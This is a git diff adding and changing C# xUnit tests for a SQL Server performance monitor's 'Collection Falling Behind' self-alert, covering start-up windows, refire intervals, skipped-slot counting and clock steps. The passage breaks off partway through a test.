diff --git a/Darling/Darling.Tests/FleetGateSignalTests.cs b/Darling/Darling.Tests/FleetGateSignalTests.cs
index 81a6882632..6dc6d1a80c 100644
--- a/Darling/Darling.Tests/FleetGateSignalTests.cs
+++ b/Darling/Darling.Tests/FleetGateSignalTests.cs
@@ -351,7 +351,8 @@ public void TheWorker_CountsEveryCollectorSlotItAdvances_AndTimesTheFleetGateWai
     {
         var source = ServerConnectBackoffTests.ReadWorkerSource();
 
-        Assert.Contains("_fleetGateStats?.RecordSlot(_skipCreditFloor.Skipped(due, now, intervalSpan));", source, StringComparison.Ordinal);
+        /* #5597: the count also starts at the end of the server's seeding (SeedFinishedTicks), not only at the loop's floor. */
+        Assert.Contains("_fleetGateStats?.RecordSlot(_skipCreditFloor.Skipped(due, now, intervalSpan, seeded));", source, StringComparison.Ordinal);
         Assert.Contains("_fleetGateStats?.RecordQueueWait(Stopwatch.GetElapsedTime(gateWaitStarted));", source, StringComparison.Ordinal);
 
         /* Every place that advances a COLLECTOR's due time on the grid is preceded by the count. The store
@@ -483,19 +484,48 @@ public async Task ABusyReadingInsideTheHour_RestartsTheQuietClock()
         Assert.Single(h.Deliverer.Outcomes);
     }
 
+    /* #5493: Collection Falling Behind is a state alert. One alert per occurrence; with
+       connection_refire_minutes at 0 (the default) a standing condition never repeats. */
     [Fact]
-    public async Task AStandingCondition_RestatesOnlyAfterTheSharedCooldown()
+    public async Task AStandingCondition_SendsOneAlertPerOccurrence_WhenTheRefireIsZero()
     {
-        var h = new DarlingSelfAlertTests.Harness();
+        var h = new DarlingSelfAlertTests.Harness { ConnectionRefireMinutes = 0 };
         var e = h.Build();
         var start = h.Now;
 
         await e.ApplyFleetGateAsync(Report(run: 300, skipped: 100, h.Now), Ct);
-        h.Now = start.AddMinutes(1);
+        Assert.Single(h.Deliverer.Outcomes);
+
+        foreach (var offset in new[] { TimeSpan.FromMinutes(1), TimeSpan.FromHours(3), TimeSpan.FromHours(12), TimeSpan.FromDays(3) })
+        {
+            h.Now = start.Add(offset);
+            await e.ApplyFleetGateAsync(Report(run: 300, skipped: 100, h.Now), Ct);
+            Assert.Single(h.Deliverer.Outcomes);
+        }
+    }
+
+    /* #5493: with connection_refire_minutes at N, the standing condition repeats once N minutes have
+       passed since the last send, and not before. */
+    [Fact]
+    public async Task AStandingCondition_RepeatsOnlyOnceTheRefireIntervalHasPassed()
+    {
+        var h = new DarlingSelfAlertTests.Harness { ConnectionRefireMinutes = 30 };
+        var e = h.Build();
+        var start = h.Now;
+
+        await e.ApplyFleetGateAsync(Report(run: 300, skipped: 100, h.Now), Ct);
+        Assert.Single(h.Deliverer.Outcomes);
+
+        h.Now = start.AddMinutes(29);
         await e.ApplyFleetGateAsync(Report(run: 300, skipped: 100, h.Now), Ct);
         Assert.Single(h.Deliverer.Outcomes);
 
-        h.Now = start.AddHours(3);
+        h.Now = start.AddMinutes(30);
+        await e.ApplyFleetGateAsync(Report(run: 300, skipped: 100, h.Now), Ct);
+        Assert.Equal(2, h.Deliverer.Outcomes.Count);
+
+        /* The repeat restarts the interval: 29 minutes after it is still quiet. */
+        h.Now = start.AddMinutes(59);
         await e.ApplyFleetGateAsync(Report(run: 300, skipped: 100, h.Now), Ct);
         Assert.Equal(2, h.Deliverer.Outcomes.Count);
     }
@@ -695,7 +725,9 @@ public void AGridTimer_SpansTheSameIntervalItsStampIsAdvancedWith(string field,
     {
         var code = WorkerCode();
 
-        Assert.Contains(field + " = NextGridStamp(" + field + ", DateTime.UtcNow, " + interval + ");", code, StringComparison.Ordinal);
+        /* The store-metrics stamp advances inside TryStartStoreMetricsTick (#4970), which is handed the clock as nowUtc. */
+        var now = field == "_nextStoreMetricsUtc" ? "nowUtc" : "DateTime.UtcNow";
+        Assert.Contains(field + " = NextGridStamp(" + field + ", " + now + ", " + interval + ");", code, StringComparison.Ordinal);
         Assert.Contains("StampIsDue(" + field + ", " + interval + ", DateTime.UtcNow)", code, StringComparison.Ordinal);
     }
 
diff --git a/Darling/Darling.Tests/FleetGateSkipCreditTests.cs b/Darling/Darling.Tests/FleetGateSkipCreditTests.cs
index d6b83bd0df..379e7769d6 100644
--- a/Darling/Darling.Tests/FleetGateSkipCreditTests.cs
+++ b/Darling/Darling.Tests/FleetGateSkipCreditTests.cs
@@ -302,7 +302,7 @@ public void TheWorker_TicksTheFloorFirstInThePass_ResumesItAfterAPause_AndRecord
         var source = ServerConnectBackoffTests.ReadWorkerSource().Replace("\r\n", "\n", StringComparison.Ordinal);
 
         /* The slot record goes through the floor, and no slot is recorded from the raw count. */
-        Assert.Contains("_fleetGateStats?.RecordSlot(_skipCreditFloor.Skipped(due, now, intervalSpan));", source, StringComparison.Ordinal);
+        Assert.Contains("_fleetGateStats?.RecordSlot(_skipCreditFloor.Skipped(due, now, intervalSpan, seeded));", source, StringComparison.Ordinal);
         Assert.DoesNotContain("RecordSlot(CollectorCadence.SkippedSlots(", source, StringComparison.Ordinal);
 
         /* The tick is the first thing in the sweep loop's pass, ahead of the reload and the pause gate. */
@@ -319,12 +319,18 @@ public void TheWorker_TicksTheFloorFirstInThePass_ResumesItAfterAPause_AndRecord
 
         /* A pause marks the loop, and the first pass that runs collection again lifts the floor, before any body is launched. */
         const string resume = "_skipCreditFloor.Resume(DateTime.UtcNow);";
-        Assert.Equal(1, CountOf(source, resume));
+        /* #5479: a second lift, for the first pass the memory launch guard lets launch again after a hold; the held slots were
+           counted as they came due, so the first bodies must not count them again. Pinned in full by SelfAlertFleetPassTests. */
+        Assert.Equal(2, CountOf(source, resume));
         var gate = source.IndexOf("if (!ShouldRunCollection(_paused))", reload, StringComparison.Ordinal);
         var paused = source.IndexOf("pausedSinceLastRun = true;", gate, StringComparison.Ordinal);
         var resumeAt = source.IndexOf(resume, StringComparison.Ordinal);
         var launch = source.IndexOf("sweepTargets = servers.ToArray();", gate, StringComparison.Ordinal);
         Assert.True(gate > reload && paused > gate && resumeAt > paused && launch > resumeAt, "the resume must sit between the pause gate and the launch of the bodies");
+        var heldResume = source.IndexOf(resume, resumeAt + 1, StringComparison.Ordinal);
+        var launchLoop = source.IndexOf("foreach (var server in sweepTargets)", launch, StringComparison.Ordinal);
+        var firstBody = source.IndexOf("server.InFlightSweep = ProcessServerSweepAsync(", launchLoop, StringComparison.Ordinal);
+        Assert.True(heldResume > launchLoop && heldResume < firstBody, "the lift after a hold must sit in the launch loop, before the first body is launched");
     }
 
     private static int CountOf(string text, string value)
diff --git a/Darling/Darling.Tests/FleetGateStartupTests.cs b/Darling/Darling.Tests/FleetGateStartupTests.cs
new file mode 100644
index 0000000000..04482c6748
--- /dev/null
+++ b/Darling/Darling.Tests/FleetGateStartupTests.cs
@@ -0,0 +1,943 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5597: "Collection Falling Behind" fired in the first hour after every start on a large store that was not behind. The
+/// first minutes after a start (or after the sweep loop comes back from a sleep or a pause) leave out of the alert's window.
+/// </summary>
+public sealed class FleetGateStartupTests
+{
+    private static CancellationToken Ct => TestContext.Current.CancellationToken;
+
+    private static readonly DateTime T0 = new(2026, 10, 8, 13, 37, 0, DateTimeKind.Utc);
+    private static readonly TimeSpan Minute = TimeSpan.FromMinutes(1);
+
+    /// <summary>
+    /// A service start at <see cref="T0"/> and a stats clock the test moves. The wall clock (<see cref="Now"/>) and the monotonic
+    /// clock the floor times the start-up minutes on move together when time passes; <see cref="StepWall"/> moves only the wall
+    /// clock, like an NTP step.
+    /// </summary>
+    private sealed class Clock
+    {
+        private DateTime _now = T0;
+        private TimeSpan _mono = TimeSpan.Zero;
+
+        public DateTime Now
+        {
+            get => _now;
+            set
+            {
+                if (value > _now)
+                {
+                    _mono += value - _now;
+                }
+
+                _now = value;
+            }
+        }
+
+        public FleetGateStats Stats { get; }
+        public SkipCreditFloor Floor { get; }
+
+        public Clock()
+        {
+            Floor = new SkipCreditFloor(() => _mono);
+            Stats = new FleetGateStats(() => Now, () => Floor.Uptime);
+            Floor.Tick(T0);
+        }
+
+        /// <summary>A wall-clock step (NTP, a VM restore); the monotonic clock does not move.</summary>
+        public void StepWall(TimeSpan by) => _now += by;
+
+        public void Record(long run, long skipped)
+        {
+            for (long i = 0; i < run; i++)
+            {
+                Stats.RecordSlot(0);
+            }
+
+            Stats.RecordSkippedSlots(skipped);
+        }
+
+        public DarlingSelfAlertEvaluator.FleetGateReport Read() =>
+            DarlingWorker.ReadFleetGate(Stats, Floor.Uptime, 4, Now).Report;
+    }
+
+    /// <summary>
+    /// A model of the start: 44 servers with 20 one-minute collectors each, a gate 4 permits wide, a loop that ticks every 15
+    /// seconds and launches a server's body when it has something due. A server's first body connects and seeds its due
+    /// stamps (30 seconds, like the on-load snapshots); its later bodies run what is due. Bodies queue FIFO for a permit, so the
+    /// first collection body of the first server to connect waits behind every other server's connect body.
+    /// </summary>
+    private sealed class FleetModel
+    {
+        private const int Servers = 44;
+        private const int Collectors = 20;
+        private const int Width = 4;
+        private static readonly TimeSpan Tick = TimeSpan.FromSeconds(15);  /* the sweep loop's tick; the model itself steps by the second */
+        private static readonly TimeSpan ConnectBody = TimeSpan.FromSeconds(30);
+
+        private sealed class Server
+        {
+            public bool Connected;
+            public readonly DateTime[] Due = new DateTime[Collectors];
+            public long SeedFinishedTicks;
+            public DateTime? RunningUntil;
+            public DateTime StartedAt;
+            public bool Queued;
+        }
+
+        private readonly Server[] _servers = Enumerable.Range(0, Servers).Select(_ => new Server()).ToArray();
+        private readonly List<Server> _queue = [];
+        private readonly Clock _clock;
+        private readonly Func<DateTime, TimeSpan> _bodyPerCollector;
+
+        public FleetModel(Clock clock, Func<DateTime, TimeSpan> bodyPerCollector, bool countFromSeedFinish = true)
+        {
+            _clock = clock;
+            _bodyPerCollector = bodyPerCollector;
+            CountFromSeedFinish = countFromSeedFinish;
+        }
+
+        /// <summary>Whether a server's slots count from the instant its seeding finished (the #5597 count fix).</summary>
+        public bool CountFromSeedFinish { get; }
+
+        /// <summary>Runs the model to <paramref name="until"/>, calling <paramref name="everyMinute"/> on each whole minute.</summary>
+        public void Run(DateTime until, Action<DateTime> everyMinute)
+        {
+            for (var now = T0; now <= until; now += TimeSpan.FromSeconds(1))
+            {
+                _clock.Now = now;
+                var loopTick = (now - T0).Ticks % Tick.Ticks == 0;
+                if (loopTick)
+                {
+                    _clock.Floor.Tick(now);
+                }
+
+                Step(now, loopTick);
+                if ((now - T0).Ticks % Minute.Ticks == 0)
+                {
+                    everyMinute(now);
+                }
+            }
+        }
+
+        private void Step(DateTime now, bool loopTick)
+        {
+            foreach (var s in _servers.Where(x => x.RunningUntil is { } u && u <= now))
+            {
+                s.RunningUntil = null;
+                if (!s.Connected)
+                {
+                    s.Connected = true;
+                    for (var i = 0; i < Collectors; i++)
+                    {
+                        s.Due[i] = s.StartedAt + TimeSpan.FromSeconds(i % 30);
+                    }
+
+                    s.SeedFinishedTicks = CountFromSeedFinish ? now.Ticks : 0;
+                }
+            }
+
+            foreach (var s in loopTick ? _servers : [])
+            {
+                if (s.RunningUntil is null && !s.Queued && (!s.Connected || s.Due.Any(d => d <= now)))
+                {
+                    s.Queued = true;
+                    _queue.Add(s);
+                }
+            }
+
+            while (_queue.Count > 0 && _servers.Count(x => x.RunningUntil is not null) < Width)
+            {
+                var s = _queue[0];
+                _queue.RemoveAt(0);
+                s.Queued = false;
+                s.StartedAt = now;
+                if (!s.Connected)
+                {
+                    s.RunningUntil = now + ConnectBody;
+                    continue;
+                }
+
+                var ran = 0;
+                for (var i = 0; i < Collectors; i++)
+                {
+                    if (s.Due[i] > now)
+                    {
+                        continue;
+                    }
+
+                    var interval = Minute;
+                    _clock.Stats.RecordSlot(_clock.Floor.Skipped(s.Due[i], now, interval, new DateTime(s.SeedFinishedTicks, DateTimeKind.Utc)));
+                    s.Due[i] = CollectorCadence.NextDue(s.Due[i], now, interval);
+                    ran++;
+                }
+
+                s.RunningUntil = now + TimeSpan.FromTicks(_bodyPerCollector(now).Ticks * ran);
+            }
+        }
+    }
+
+    [Fact]
+    public async Task EveryCollectorDueAtOnceBehindAGateOfWidthFour_SkipsSlotsInTheFirstMinutes_AndTheAlertDoesNotJudgeThem()
+    {
+        var clock = new Clock();
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+        var model = new FleetModel(clock, _ => TimeSpan.FromMilliseconds(100));
+
+        bool? oldRuleFiredEarly = null;
+        var firstJudged = default(DateTime?);
+        model.Run(T0.AddMinutes(100), now =>
+        {
+            h.Now = now;
+            var minutes = (int)(now - T0).TotalMinutes;
+            if (minutes == 8)
+            {
+                /* What the alert read before: the full hour, taken at face value, over its thresholds. */
+                var raw = clock.Stats.Snapshot();
+                oldRuleFiredEarly = new DarlingSelfAlertEvaluator.FleetGateReport(
+                    raw.Run, raw.Skipped, raw.QueueWaits, raw.QueueWaitTotal, raw.QueueWaitMax, 4, now).IsBehind;
+            }
+
+            var report = clock.Read();
+            if (report.IsJudged && firstJudged is null)
+            {
+                firstJudged = now;
+            }
+
+            e.ApplyFleetGateAsync(report, Ct).GetAwaiter().GetResult();
+        });
+
+        Assert.True(oldRuleFiredEarly, "the model must reproduce the start-up skips the old rule fired on");
+
+        /* The minutes after the start-up window are clean, and the alert never fires. */
+        Assert.Equal(T0.AddMinutes(DarlingSelfAlertEvaluator.FleetGateStartupMinutes + DarlingSelfAlertEvaluator.FleetGateMinJudgedMinutes), firstJudged);
+        Assert.Equal(0, clock.Stats.Snapshot().Skipped);
+        Assert.Empty(h.Deliverer.Outcomes);
+        await Task.CompletedTask;
+    }
+
+    [Fact]
+    public void ASlotThatCameDueWhileTheServersConnectBodyRan_IsNotCountedAsSkipped()
+    {
+        /* The model with the old count (every slot since the stamp) skips more than the model that counts from the end of the
+           seeding: the difference is the slots that could not have run, because the server's only body was the one seeding. */
+        long CountedWith(bool fromSeedFinish)
+        {
+            var clock = new Clock();
+            var model = new FleetModel(clock, _ => TimeSpan.FromMilliseconds(100), fromSeedFinish);
+            model.Run(T0.AddMinutes(12), _ => { });
+            return clock.Stats.Snapshot().Skipped;
+        }
+
+        Assert.True(CountedWith(true) < CountedWith(false));
+    }
+
+    [Theory]
+    [InlineData(787, 57)]
+    [InlineData(613, 164)]
+    [InlineData(916, 291)]
+    [InlineData(1503, 285)]
+    [InlineData(1277, 247)]
+    [InlineData(1243, 114)]
+    public async Task TheShortWindowShares_RightAfterAStart_DoNotFire(long ran, long skipped)
+    {
+        var clock = new Clock();
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+
+        /* The field lines ("N slots ran, M skipped"), spread over the first four minutes after the start. */
+        for (var m = 0; m < 4; m++)
+        {
+            clock.Now = T0.AddMinutes(m);
+            clock.Record(ran / 4, skipped / 4);
+        }
+
+        foreach (var m in new[] { 4, 14, 20, 29 })
+        {
+            clock.Now = T0.AddMinutes(m);
+            h.Now = clock.Now;
+            var report = clock.Read();
+            Assert.False(report.IsJudged);
+            Assert.False(report.IsBehind);
+            Assert.False(await e.EvaluateFleetGateAsync(report, Ct));
+        }
+
+        Assert.Empty(h.Deliverer.Outcomes);
+    }
+
+    [Theory]
+    [InlineData(950, 50, true)]
+    [InlineData(951, 49, false)]
+    [InlineData(980, 20, false)]
+    [InlineData(1, 19, false)]
+    public async Task AFullHour_StillFiresAtFivePercentAndTwentySlots_AndNotUnderIt(long run, long skipped, bool fires)
+    {
+        var clock = new Clock();
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+
+        /* The start is two hours back; the last hour carries the counts, spread over its minutes. */
+        for (var m = 60; m < 120; m++)
+        {
+            clock.Now = T0.AddMinutes(m + 1);
+            clock.Record(run / 60 + (m - 60 < run % 60 ? 1 : 0), skipped / 60 + (m - 60 < skipped % 60 ? 1 : 0));
+        }
+
+        clock.Now = T0.AddMinutes(120);
+        h.Now = clock.Now;
+        var report = clock.Read();
+        Assert.Equal(FleetGateStats.WindowMinutes, report.JudgedMinutes);
+        await e.ApplyFleetGateAsync(report, Ct);
+
+        Assert.Equal(fires, h.Deliverer.Outcomes.Count == 1);
+    }
+
+    [Theory]
+    [InlineData(0, false)]
+    [InlineData(64, true)]
+    public async Task AStartUpBurst_NeverFiresOnACleanStore_AndAStoreStillBehindAfterItFiresWhenTheWindowIsLongEnough(long backlogPerMinute, bool fires)
+    {
+        var clock = new Clock();
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+        DateTime? firedAt = null;
+
+        for (var m = 0; m <= 90; m++)
+        {
+            clock.Now = T0.AddMinutes(m);
+            h.Now = clock.Now;
+            clock.Floor.Tick(clock.Now);
+
+            /* 1,000 slots a minute. The first 10 minutes: 30% skipped. Then the store either keeps up or sits at 6%. */
+            var skipped = m < 10 ? 300 : backlogPerMinute;
+            clock.Record(1000 - skipped, skipped);
+
+            var before = h.Deliverer.Outcomes.Count;
+            await e.ApplyFleetGateAsync(clock.Read(), Ct);
+            if (h.Deliverer.Outcomes.Count > before)
+            {
+                firedAt ??= clock.Now;
+            }
+        }
+
+        if (!fires)
+        {
+            Assert.Null(firedAt);
+            return;
+        }
+
+        /* Behind from its start-up minutes on: it fires as soon as the window is long enough, and not a minute later. */
+        var latest = T0.AddMinutes(DarlingSelfAlertEvaluator.FleetGateStartupMinutes + DarlingSelfAlertEvaluator.FleetGateMinJudgedMinutes);
+        Assert.Equal(latest, firedAt);
+        var fired = Assert.Single(h.Deliverer.Outcomes);
+        Assert.Contains($"in the last {DarlingSelfAlertEvaluator.FleetGateMinJudgedMinutes} minutes", fired.ShortMessage, StringComparison.Ordinal);
+        Assert.Contains("of 16,000 due slots", fired.ShortMessage, StringComparison.Ordinal);
+        Assert.Contains($"In the {DarlingSelfAlertEvaluator.FleetGateMinJudgedMinutes} minutes to", fired.DetailText, StringComparison.Ordinal);
+        Assert.DoesNotContain("in the last hour", fired.ShortMessage, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AStandingAlert_NeitherResolvesNorStartsItsQuietClock_OnAReadingThatIsNotJudged()
+    {
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+        var start = h.Now;
+
+        await e.ApplyFleetGateAsync(new(300, 100, 1, TimeSpan.Zero, TimeSpan.Zero, 4, start), Ct);
+        Assert.Single(h.Deliverer.Outcomes);
+
+        /* A short window's quiet reading keeps the alert standing and does NOT start the quiet clock: the clock starts only on a
+           judged reading (#5597). The short reading comes BEFORE the first judged one, so without the short-window check in
+           ApplyFleetGateAsync it starts the clock half an hour early and the alert resolves at +4h. */
+        h.Now = start.AddHours(3);
+        var shortQuiet = new DarlingSelfAlertEvaluator.FleetGateReport(2000, 0, 1, TimeSpan.Zero, TimeSpan.Zero, 4, h.Now, JudgedMinutes: 3);
+        Assert.True(await e.EvaluateFleetGateAsync(shortQuiet, Ct));
+        Assert.Empty(h.History.Records);
+
+        /* The first judged quiet reading starts the clock, at +3h30. */
+        h.Now = start.AddHours(3).AddMinutes(30);
+        var quiet = shortQuiet with { JudgedMinutes = 60, WindowEndUtc = h.Now };
+        await e.ApplyFleetGateAsync(quiet, Ct);
+
+        /* A short reading that is not quiet, between judged quiet readings, does not reset the clock either. */
+        h.Now = start.AddHours(3).AddMinutes(40);
+        var shortLoud = new DarlingSelfAlertEvaluator.FleetGateReport(1000, 1000, 1, TimeSpan.Zero, TimeSpan.Zero, 4, h.Now, JudgedMinutes: 3);
+        await e.ApplyFleetGateAsync(shortLoud, Ct);
+
+        h.Now = start.AddHours(4);
+        await e.ApplyFleetGateAsync(quiet, Ct);
+        Assert.Empty(h.History.Records);
+
+        h.Now = start.AddHours(4).AddMinutes(29);
+        await e.ApplyFleetGateAsync(quiet, Ct);
+        Assert.Empty(h.History.Records);
+
+        h.Now = start.AddHours(4).AddMinutes(30);
+        await e.ApplyFleetGateAsync(quiet, Ct);
+        Assert.Single(h.History.Records);
+    }
+
+    [Theory]
+    [InlineData(0, 0)]
+    [InlineData(14, 0)]
+    [InlineData(15, 0)]
+    [InlineData(16, 1)]
+    [InlineData(30, 15)]
+    [InlineData(75, 60)]
+    [InlineData(600, 60)]
+    public void TheJudgedWindow_StartsAfterTheStartUpMinutes_AndNeverExceedsTheHour(int minutesSinceLoopStart, int expected)
+    {
+        Assert.Equal(expected, DarlingSelfAlertEvaluator.FleetGateJudgedMinutes(TimeSpan.FromMinutes(minutesSinceLoopStart)));
+    }
+
+    [Fact]
+    public void TheJudgedWindow_RoundsDownToAWholeMinute_AndIsEmptyBeforeTheLoopHasTicked()
+    {
+        /* 15 minutes 59 seconds of uptime is not yet a whole judged minute; 16 minutes is. */
+        Assert.Equal(0, DarlingSelfAlertEvaluator.FleetGateJudgedMinutes(TimeSpan.FromSeconds(15 * 60 + 59)));
+        Assert.Equal(1, DarlingSelfAlertEvaluator.FleetGateJudgedMinutes(TimeSpan.FromMinutes(16)));
+        Assert.Equal(14, DarlingSelfAlertEvaluator.FleetGateJudgedMinutes(TimeSpan.FromSeconds(30 * 60 - 1)));
+        Assert.Equal(0, DarlingSelfAlertEvaluator.FleetGateJudgedMinutes(null));
+    }
+
+    [Fact]
+    public void TheServiceStart_IsTheFirstTick_AndNothingAfterItRestartsIt()
+    {
+        var mono = TimeSpan.Zero;
+        var floor = new SkipCreditFloor(() => mono);
+        Assert.Null(floor.Uptime);
+
+        floor.Tick(T0);
+        Assert.Equal(TimeSpan.Zero, floor.Uptime);
+
+        /* Ticks on time leave it alone. */
+        mono = TimeSpan.FromSeconds(15);
+        floor.Tick(T0.AddSeconds(15));
+        Assert.Equal(TimeSpan.FromSeconds(15), floor.Uptime);
+
+        /* A stall (a gap over MaxTickGap) raises the floor and does not restart the start-up minutes. */
+        mono = TimeSpan.FromHours(2);
+        var back = T0.AddHours(2);
+        floor.Tick(back);
+        Assert.Equal(back, floor.Floor);
+        Assert.Equal(TimeSpan.FromHours(2), floor.Uptime);
+
+        /* Neither does a pause's resume or the launch guard's release (both are Resume). */
+        mono += TimeSpan.FromMinutes(10);
+        var resumed = back.AddMinutes(10);
+        floor.Resume(resumed);
+        Assert.Equal(resumed, floor.Floor);
+        Assert.Equal(TimeSpan.FromHours(2) + TimeSpan.FromMinutes(10), floor.Uptime);
+    }
+
+    [Theory]
+    [InlineData("stall")]
+    [InlineData("resume")]
+    public async Task AFloorRaiseEveryTwentyMinutes_NeverRestartsTheStartUpMinutes_AndAStoreAtSixPercentSkippedFires(string kind)
+    {
+        var clock = new Clock();
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+        DateTime? firedAt = null;
+
+        for (var m = 0; m <= 90; m++)
+        {
+            clock.Now = T0.AddMinutes(m);
+            h.Now = clock.Now;
+
+            /* A stall: the loop's ticks stop for three minutes at the end of each 20, so the tick that comes back is over
+               MaxTickGap after the one before it and raises the floor. A resume (a pause ending, or the memory launch guard's
+               release) is the Resume call itself. */
+            var stalled = kind == "stall" && (m % 20 is 17 or 18 or 19);
+            if (!stalled)
+            {
+                clock.Floor.Tick(clock.Now);
+            }
+
+            if (kind == "resume" && m > 0 && m % 20 == 0)
+            {
+                clock.Floor.Resume(clock.Now);
+            }
+
+            clock.Record(940, 60);
+            var before = h.Deliverer.Outcomes.Count;
+            await e.ApplyFleetGateAsync(clock.Read(), Ct);
+            if (h.Deliverer.Outcomes.Count > before)
+            {
+                firedAt ??= clock.Now;
+            }
+        }
+
+        Assert.True(clock.Floor.Floor > T0.AddMinutes(60), "the floor must have been raised again and again");
+        Assert.Equal(T0.AddMinutes(DarlingSelfAlertEvaluator.FleetGateStartupMinutes + DarlingSelfAlertEvaluator.FleetGateMinJudgedMinutes), firedAt);
+    }
+
+    [Fact]
+    public async Task HeldSlots_RecordedAfterTheStartUpMinutes_AreJudged_EvenWhenTheLaunchGuardReleasesRightAfter()
+    {
+        var clock = new Clock();
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+        DateTime? firedAt = null;
+
+        for (var m = 0; m <= 45; m++)
+        {
+            clock.Now = T0.AddMinutes(m);
+            h.Now = clock.Now;
+            clock.Floor.Tick(clock.Now);
+
+            /* The guard holds collection off from minute 16 to 25: nothing runs, and every slot that comes due is a held slot,
+               recorded as skipped (RecordSkippedSlots, like CountHeldSlots does). It releases at minute 26. */
+            if (m is >= 16 and <= 25)
+            {
+                clock.Stats.RecordSkippedSlots(1000);
+            }
+            else
+            {
+                clock.Record(1000, 0);
+            }
+
+            if (m == 26)
+            {
+                clock.Floor.Resume(clock.Now);
+            }
+
+            var before = h.Deliverer.Outcomes.Count;
+            await e.ApplyFleetGateAsync(clock.Read(), Ct);
+            if (h.Deliverer.Outcomes.Count > before)
+            {
+                firedAt ??= clock.Now;
+            }
+        }
+
+        Assert.Equal(T0.AddMinutes(DarlingSelfAlertEvaluator.FleetGateStartupMinutes + DarlingSelfAlertEvaluator.FleetGateMinJudgedMinutes), firedAt);
+    }
+
+    [Fact]
+    public void ASkippedSlot_IsCountedInTheMinuteItsLateRunLands_SoASlotDueInTheStartUpMinutesButSteppedOverAfterThemIsJudged()
+    {
+        var clock = new Clock();
+
+        /* A slot due at minute 14 that a run steps over at minute 16 is recorded in minute 16's bucket: it is judged. */
+        clock.Now = T0.AddMinutes(14);
+        clock.Record(100, 0);
+        clock.Now = T0.AddMinutes(16);
+        clock.Record(100, 30);
+        for (var m = 17; m <= 31; m++)
+        {
+            clock.Now = T0.AddMinutes(m);
+            clock.Record(100, 0);
+        }
+
+        Assert.Equal(30, clock.Read().Skipped);
+
+        /* One recorded at minute 14 is not. */
+        var early = new Clock();
+        early.Now = T0.AddMinutes(14);
+        early.Record(100, 30);
+        for (var m = 15; m <= 31; m++)
+        {
+            early.Now = T0.AddMinutes(m);
+            early.Record(100, 0);
+        }
+
+        Assert.Equal(0, early.Read().Skipped);
+    }
+
+    /// <summary>The relaunch bunch of the field case: the first seven minutes skip about 22% of their slots, then it is clean.</summary>
+    private static void RecordUnevenMinute(Clock clock, int uptimeMinute)
+    {
+        if (uptimeMinute <= 6)
+        {
+            clock.Record(1300, 290);
+        }
+        else
+        {
+            clock.Record(940, uptimeMinute < DarlingSelfAlertEvaluator.FleetGateStartupMinutes ? 0 : 60);
+        }
+    }
+
+    [Fact]
+    public async Task ABackwardClockStepDuringTheStartUpMinutes_AddsNoBlindTime_AndLeaksNothingIntoTheJudgedCounts()
+    {
+        var clock = new Clock();
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+        DateTime? firstJudgedUptime = null;
+        DateTime? firedAtUptime = null;
+
+        for (var uptime = 1; uptime <= 60; uptime++)
+        {
+            clock.Now = clock.Now.AddMinutes(1);
+            if (uptime == 6)
+            {
+                clock.StepWall(TimeSpan.FromMinutes(-30));
+            }
+
+            h.Now = clock.Now;
+            clock.Floor.Tick(clock.Now);
+            RecordUnevenMinute(clock, uptime);
+            var report = clock.Read();
+            if (report.IsJudged && firstJudgedUptime is null)
+            {
+                firstJudgedUptime = T0.AddMinutes(uptime);
+
+                /* Judged from the first minute at 15 on: 16 minutes of 940 run and 60 skipped, none of the bunch. */
+                Assert.Equal(16 * 60, report.Skipped);
+                Assert.Equal(16 * 940, report.Run);
+            }
+
+            var before = h.Deliverer.Outcomes.Count;
+            await e.ApplyFleetGateAsync(report, Ct);
+            if (h.Deliverer.Outcomes.Count > before)
+            {
+                firedAtUptime ??= T0.AddMinutes(uptime);
+            }
+
+            if (uptime == 7)
+            {
+                /* The line names the real run time, not "last 1 minutes". */
+                Assert.Equal(7, FleetGateLine.SpanMinutes(clock.Floor.Uptime));
+            }
+        }
+
+        var expected = T0.AddMinutes(DarlingSelfAlertEvaluator.FleetGateStartupMinutes + DarlingSelfAlertEvaluator.FleetGateMinJudgedMinutes);
+        Assert.Equal(expected, firstJudgedUptime);
+        Assert.Equal(expected, firedAtUptime);
+    }
+
+    [Fact]
+    public void ABackwardClockStepAfterTheStartUpMinutes_KeepsTheWindowJudged_AndTheBunchOutOfIt()
+    {
+        var clock = new Clock();
+        for (var uptime = 1; uptime <= 40; uptime++)
+        {
+            clock.Now = clock.Now.AddMinutes(1);
+            clock.Floor.Tick(clock.Now);
+            RecordUnevenMinute(clock, uptime);
+        }
+
+        var before = clock.Read();
+        Assert.Equal(25, before.JudgedMinutes);
+        Assert.Equal(26 * 60, before.Skipped);
+
+        /* A 30 minute step back, then one more minute: the window is as long as the service has run past its start-up minutes,
+           and holds the same counts plus the new minute, nothing from the bunch. */
+        clock.StepWall(TimeSpan.FromMinutes(-30));
+        clock.Floor.Tick(clock.Now);
+        clock.Now = clock.Now.AddMinutes(1);
+        clock.Floor.Tick(clock.Now);
+        RecordUnevenMinute(clock, 41);
+        var after = clock.Read();
+        Assert.Equal(26, after.JudgedMinutes);
+        Assert.True(after.IsJudged);
+        Assert.Equal(27 * 60, after.Skipped);
+        Assert.Equal(27 * 940, after.Run);
+        Assert.Equal(41, FleetGateLine.SpanMinutes(clock.Floor.Uptime));
+    }
+
+    [Fact]
+    public async Task AHeavyBunchInTheFirstSevenMinutes_AndA30MinuteStepBackAtUptime20_NeverFires()
+    {
+        var clock = new Clock();
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+
+        for (var uptime = 1; uptime <= 60; uptime++)
+        {
+            clock.Now = clock.Now.AddMinutes(1);
+            if (uptime == 20)
+            {
+                clock.StepWall(TimeSpan.FromMinutes(-30));
+            }
+
